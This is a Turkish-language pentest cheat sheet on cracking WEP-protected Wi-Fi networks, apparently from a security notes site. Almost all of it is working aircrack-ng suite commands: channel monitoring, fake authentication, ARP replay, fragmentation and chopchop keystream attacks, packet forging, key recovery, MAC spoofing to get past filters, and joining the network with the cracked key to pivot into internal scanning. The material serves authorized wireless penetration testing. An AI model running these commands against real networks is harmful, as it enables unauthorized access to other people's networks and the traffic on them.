WEP Kırma

WEP eski / zayıf

WEP (Wired Equivalent Privacy), RC4’ü zayıf ve kısa IV (initialization vector) ile kullandığından tasarımsal olarak kırıktır. Yeterli sayıda IV toplandığında anahtar, parolanın gücünden bağımsız olarak istatistiksel saldırıyla kurtarılır. Günümüzde nadir görülse de eski cihaz, endüstriyel ve IoT ağlarında hâlâ karşılaşılır — bulgu tek başına kritiktir.

Neden kırılır (özet)

IV 24-bit → tekrarlar kaçınılmaz
Zayıf IV + RC4 keystream sızıntısı → FMS / PTW istatistiksel saldırı
ARP replay → aynı keystream ile trafik çoğaltma → IV hızla birikir
Anahtar uzunluğu (64/128-bit) pratikte engel değil; IV sayısı kritik

Ön koşullar

- Monitor + injection (aireplay-ng -9)
- Hedef ENC=WEP (airodump)
- Mümkünse ilişkili istemci (ARP üretimi kolaylaşır)
- aircrack-ng suite

sudo airodump-ng wlan0mon

Anahtar kurtarma (klasik PTW)

IV topla — hedef AP’yi dinleyerek #Data sütununu büyüt:

sudo iw dev wlan0mon set channel 6

sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w wep wlan0mon

Sahte authentication (gerekirse) — bazı AP’ler ilişkili olmayan istemciden replay kabul etmez:
Terminal window
```
sudo aireplay-ng -1 0 -e "OldWifi" -a AA:BB:CC:DD:EE:FF \
  -h YOUR_MAC wlan0mon
```

ARP replay ile trafiği hızlandır :

sudo aireplay-ng -3 -b AA:BB:CC:DD:EE:FF -h YOUR_MAC wlan0mon

sudo aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF \
  -b AA:BB:CC:DD:EE:FF -h YOUR_MAC wlan0mon

Anahtarı kır — genelde ~20k–80k IV (PTW); eski FMS daha fazla ister:
Terminal window
```
aircrack-ng -b AA:BB:CC:DD:EE:FF wep-01.cap
```
Terminal window
```
aircrack-ng -z wep-01.cap
```

#Data ~5000–20000 civarında aircrack-ng denemeye başlanabilir; başarı oranı IV kalitesine göre artar.

Fragmentation / chopchop (ARP yokken)

İstemci veya doğal ARP yoksa keystream elde edip sahte paket enjekte edilir:

sudo aireplay-ng -5 -b AA:BB:CC:DD:EE:FF -h YOUR_MAC wlan0mon

sudo aireplay-ng -4 -b AA:BB:CC:DD:EE:FF -h YOUR_MAC wlan0mon

packetforge-ng -0 -a AA:BB:CC:DD:EE:FF -h YOUR_MAC \
  -k 255.255.255.255 -l 255.255.255.255 -y fragment-XXXX.xor -w arp.cap

sudo aireplay-ng -2 -r arp.cap wlan0mon

Client ile doğal trafik

sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w wep wlan0mon

watch -n 30 'aircrack-ng wep-01.cap'

Kırılan anahtarla bağlanma

sudo iwconfig wlan0 essid "OldWifi" key XX:XX:XX:XX:XX

sudo nmcli connection add type wifi ifname wlan0 con-name wep-old \
  ssid "OldWifi" wifi-sec.key-mgmt none wifi-sec.wep-key0 XXXXX

Sonrasında iç ağ taraması: scanning.

SKA (Shared Key Authentication)

Nadir Shared Key Auth’da authentication challenge yakalanıp keystream çıkarılabilir:

sudo aireplay-ng -1 0 -a AA:BB:CC:DD:EE:FF -h YOUR_MAC wlan0mon

Başarısızlık durumları

Injection başarısız          → sürücü/adaptör; -9 testi
Fake auth rejected           → MAC filter; başka MAC dene / client MAC spoof
IV birikmiyor                → fragmentation/chopchop
aircrack KEY NOT FOUND       → daha fazla IV; doğru BSSID filtresi (-b)
WEP40 vs WEP104              → aircrack genelde ikisini dener

sudo ip link set wlan0mon down

sudo macchanger -m CC:DD:EE:FF:00:11 wlan0mon

sudo ip link set wlan0mon up

Komut üreteci

aircrack · WEP

embedded tool

Capture file

Generated command

aircrack-ng wep-01.cap

aircrack · WEP

Saldırı zinciri

airodump ENC=WEP → kanal kilit
  → fake auth → ARP replay
  → #Data ↑ → aircrack-ng
  → WEP key → ağa katıl → iç pentest

ARP yok → fragmentation → packetforge ARP → replay → crack